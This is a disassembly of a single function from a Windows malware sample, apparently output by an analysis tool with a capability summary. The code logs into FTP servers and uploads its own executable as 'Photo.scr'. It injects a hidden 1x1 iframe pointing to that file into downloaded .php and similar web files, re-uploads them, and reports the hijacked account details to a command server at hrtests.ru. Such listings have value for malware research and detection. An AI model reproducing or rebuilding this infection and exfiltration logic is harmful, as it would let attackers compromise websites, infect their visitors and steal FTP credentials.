Function at 0x401340
Capabilities:
Connect to http server
Create http request
Delete file
Query environment variable
Send file using ftp
Write file on windows

Disassembly:
push ebp
mov eax, 0x42fc
mov ebp, esp
push edi
push esi
push ebx
call fcn.0040dae0
sub esp, eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x429c], eax
lea eax, [ebp - 0x42bc]
mov dword [ebp - 0x42a4], 0x402ae0
mov dword [ebp - 0x42a0], 0x4146a8
mov dword [ebp - 0x4298], 0x401ad2
mov dword [ebp - 0x4294], esp
mov dword [ebp - 0x42d8], eax
mov dword [esp], eax
call fcn.0040d0a0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
mov dword [ebp - 0x42b8], 3
call sub.WININET.DLL_InternetOpenA
sub esp, 0x14
test eax, eax
mov dword [ebp - 0x42d4], eax
je 0x4016ca
lea eax, [ebp - 0x4284]
mov dword [ebp - 0x4284], 0x7d00
mov dword [esp + 0xc], 4
mov dword [esp + 8], eax
mov dword [esp + 4], 2
mov eax, dword [ebp - 0x42d4]
mov dword [esp], eax
mov dword [ebp - 0x42b8], 4
call sub.WININET.DLL_InternetSetOptionA
sub esp, 0x10
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0x8000000
mov dword [esp + 0x14], 1
mov ebx, dword [ebp + 0x10]
mov dword [esp + 0x10], ebx
mov ebx, dword [ebp + 0xc]
mov dword [esp + 8], 0x15
mov dword [esp + 0xc], ebx
mov ebx, dword [ebp + 8]
mov dword [esp + 4], ebx
mov eax, dword [ebp - 0x42d4]
mov dword [esp], eax
mov dword [ebp - 0x42b8], 5
call sub.WININET.DLL_InternetConnectA
sub esp, 0x20
test eax, eax
mov dword [ebp - 0x42d0], eax
je 0x4016af
xor eax, eax
mov ecx, 0x50
lea edi, [ebp - 0x4158]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x4158]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x4000000
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x42d0]
mov dword [esp], eax
mov dword [ebp - 0x42b8], 6
call sub.WININET.DLL_FtpFindFirstFileA
sub esp, 0x14
mov dword [ebp - 0x42c8], eax
mov dword [esp + 0xc], str.Photo.scr
mov ebx, dword [ebp + 0x14]
mov dword [esp + 4], str._s__s
mov dword [esp + 8], ebx
lea ebx, [ebp - 0x3818]
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov ecx, dword [ebp - 0x42c8]
test ecx, ecx
je 0x401694
lea eax, [ebp - 0x3018]
mov dword [esp + 8], 0x800
mov dword [esp + 4], eax
mov dword [esp], 0
mov dword [ebp - 0x42b8], 7
call sub.KERNEL32.dll_GetModuleFileNameA
sub esp, 0xc
lea eax, [ebp - 0x3818]
mov dword [esp + 8], eax
lea eax, [ebp - 0x3018]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 2
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x42d0]
mov dword [esp], eax
mov dword [ebp - 0x42b8], 8
call sub.WININET.DLL_FtpPutFileA
lea eax, [ebp - 0x41ee]
sub esp, 0x14
and eax, 2
mov dword [ebp - 0x42cc], eax
test byte [ebp - 0x4158], 0x10
je 0x4015b0
mov edi, 0x416034
mov ecx, 2
lea esi, [ebp - 0x412c]
repe cmpsb byte [esi], byte es:[edi]
je 0x4015b0
mov edi, 0x416036
mov ecx, 3
lea esi, [ebp - 0x412c]
repe cmpsb byte [esi], byte es:[edi]
jne 0x401a4a
lea esi, [esi]
mov edx, dword [ebp - 0x42cc]
lea edi, [ebp - 0x41ee]
mov esi, str..php
mov eax, 0x96
test edx, edx
jne 0x4018e2
mov ecx, eax
shr ecx, 2
test al, 2
rep movsd dword es:[edi], dword [esi]
je 0x4015df
movzx eax, word [esi]
mov word [edi], ax
lea eax, [ebp - 0x41ee]
mov dword [ebp - 0x42c0], eax
mov dword [ebp - 0x42c4], 0
mov eax, dword [ebp - 0x42c0]
mov dword [esp + 4], eax
lea eax, [ebp - 0x412c]
mov dword [esp], eax
call sub.msvcrt.dll_strstr
test eax, eax
mov eax, 1
cmove eax, dword [ebp - 0x42c4]
add dword [ebp - 0x42c0], 0xa
mov dword [ebp - 0x42c4], eax
lea eax, [ebp - 0x4158]
cmp dword [ebp - 0x42c0], eax
jne 0x4015f5
cmp dword [ebp - 0x42c4], 1
je 0x4016f5
lea eax, [ebp - 0x4158]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x42c8]
mov dword [esp], eax
mov dword [ebp - 0x42b8], 0xe
call sub.WININET.DLL_InternetFindNextFileA
sub esp, 8
test eax, eax
jne 0x401574
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x42dc], eax
mov eax, dword [ebp - 0x42c8]
mov dword [esp], eax
mov dword [ebp - 0x42b8], 0xf
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov eax, dword [ebp - 0x42d0]
mov dword [esp], eax
mov dword [ebp - 0x42b8], 0x10
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov eax, dword [ebp - 0x42d4]
mov dword [esp], eax
mov dword [ebp - 0x42b8], 1
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
xor eax, eax
cmp dword [ebp + 0x18], 1
sete al
mov dword [ebp - 0x42c0], eax
mov eax, dword [ebp - 0x42d8]
mov dword [esp], eax
call fcn.0040d220
mov eax, dword [ebp - 0x42c0]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
lea eax, [ebp - 0x4018]
mov dword [esp + 8], 0x400
mov dword [esp + 4], eax
mov dword [esp], str._TEMP_
mov dword [ebp - 0x42b8], 0xa
call sub.KERNEL32.dll_ExpandEnvironmentStringsA
sub esp, 0xc
lea eax, [ebp - 0x412c]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x4018]
mov dword [esp + 8], eax
lea eax, [ebp - 0x2018]
mov dword [esp + 4], str._s_s
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x412c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 4], str._s__s
mov dword [esp + 8], eax
lea eax, [ebp - 0x1018]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x2018]
mov dword [esp + 8], eax
lea eax, [ebp - 0x1018]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 2
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x42d0]
mov dword [esp], eax
mov dword [ebp - 0x42b8], 0xb
call sub.WININET.DLL_FtpGetFileA
sub esp, 0x1c
lea eax, [ebp - 0x2018]
mov dword [esp + 4], 0x416046
mov dword [esp], eax
call sub.msvcrt.dll_fopen
test eax, eax
mov dword [ebp - 0x42c4], eax
je 0x4018c2
mov dword [ebp - 0x42c0], 0
jmp 0x40181a
lea eax, [ebp - 0x423f]
mov dword [esp + 4], str.Photo.scr
mov dword [esp], eax
call sub.msvcrt.dll_strstr
test eax, eax
mov eax, 1
cmove eax, dword [ebp - 0x42c0]
mov dword [ebp - 0x42c0], eax
lea eax, [ebp - 0x423f]
mov dword [esp + 8], eax
mov dword [esp + 4], str._80s
mov eax, dword [ebp - 0x42c4]
mov dword [esp], eax
call sub.msvcrt.dll_fscanf
cmp eax, 1
je 0x4017f0
cmp dword [ebp - 0x42c0], 1
je 0x40186e
mov eax, dword [ebp - 0x42c4]
mov dword [esp + 8], 0x41
mov dword [esp + 4], 1
mov dword [esp], str._n_iframe_srcPhoto.scr_width1_height1_frameborder0__n__iframe__n
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [ebp - 0x42c4]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
lea eax, [ebp - 0x1018]
mov dword [esp + 8], eax
lea eax, [ebp - 0x2018]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 2
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x42d0]
mov dword [esp], eax
mov dword [ebp - 0x42b8], 0xc
call sub.WININET.DLL_FtpPutFileA
mov eax, dword [ebp + 0x18]
sub esp, 0x14
test eax, eax
je 0x401905
lea eax, [ebp - 0x2018]
mov dword [esp], eax
mov dword [ebp - 0x42b8], 0xd
call sub.KERNEL32.dll_DeleteFileA
sub esp, 4
jmp 0x401643
movzx eax, word [str..php]
lea edi, [ebp - 0x41ec]
mov esi, 0x415002
mov word [ebp - 0x41ee], ax
mov eax, 0x94
jmp 0x4015ce
lea eax, [ebp - 0x3818]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0x80000000
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x42d0]
mov dword [esp], eax
mov dword [ebp - 0x42b8], 0x11
call sub.WININET.DLL_FtpOpenFileA
sub esp, 0x14
test eax, eax
je 0x4018c2
lea eax, [ebp - 0x3c18]
mov dword [esp + 8], 0x400
mov dword [esp + 4], eax
mov dword [esp], str._APPDATA_
mov dword [ebp - 0x42b8], 0x13
call sub.KERNEL32.dll_ExpandEnvironmentStringsA
mov eax, dword [ebp + 8]
sub esp, 0xc
mov dword [esp + 4], eax
lea eax, [ebp - 0x427f]
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
movzx eax, byte [ebp - 0x427a]
mov byte [ebp - 0x427f], al
lea eax, [ebp - 0x412c]
mov dword [esp + 0x1c], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x3c18]
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], str.http:__hrtests.ru_S.php_ver24pc_suser_ssys_scmd_sstartup_s__s
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x427f]
mov dword [esp + 8], eax
lea eax, [ebp - 0x2818]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x2818]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x42d4]
mov dword [esp], eax
mov dword [ebp - 0x42b8], 0x12
call sub.WININET.DLL_InternetOpenUrlA
sub esp, 0x18
test eax, eax
je 0x401a3e
mov dword [esp], eax
mov dword [ebp - 0x42b8], 2
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov dword [ebp + 0x18], 1
jmp 0x4018c2
xor eax, eax
mov ecx, 0x1ff
lea edi, [ebp - 0x1014]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x412c]
mov dword [ebp - 0x1018], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 4], str._s__s
mov dword [esp + 8], eax
lea eax, [ebp - 0x1018]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov eax, dword [ebp + 0x18]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x1018]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov dword [ebp - 0x42b8], 9
call fcn.00401340
cmp eax, 1
mov eax, 1
cmovne eax, dword [ebp + 0x18]
mov dword [ebp + 0x18], eax
jmp 0x4015b0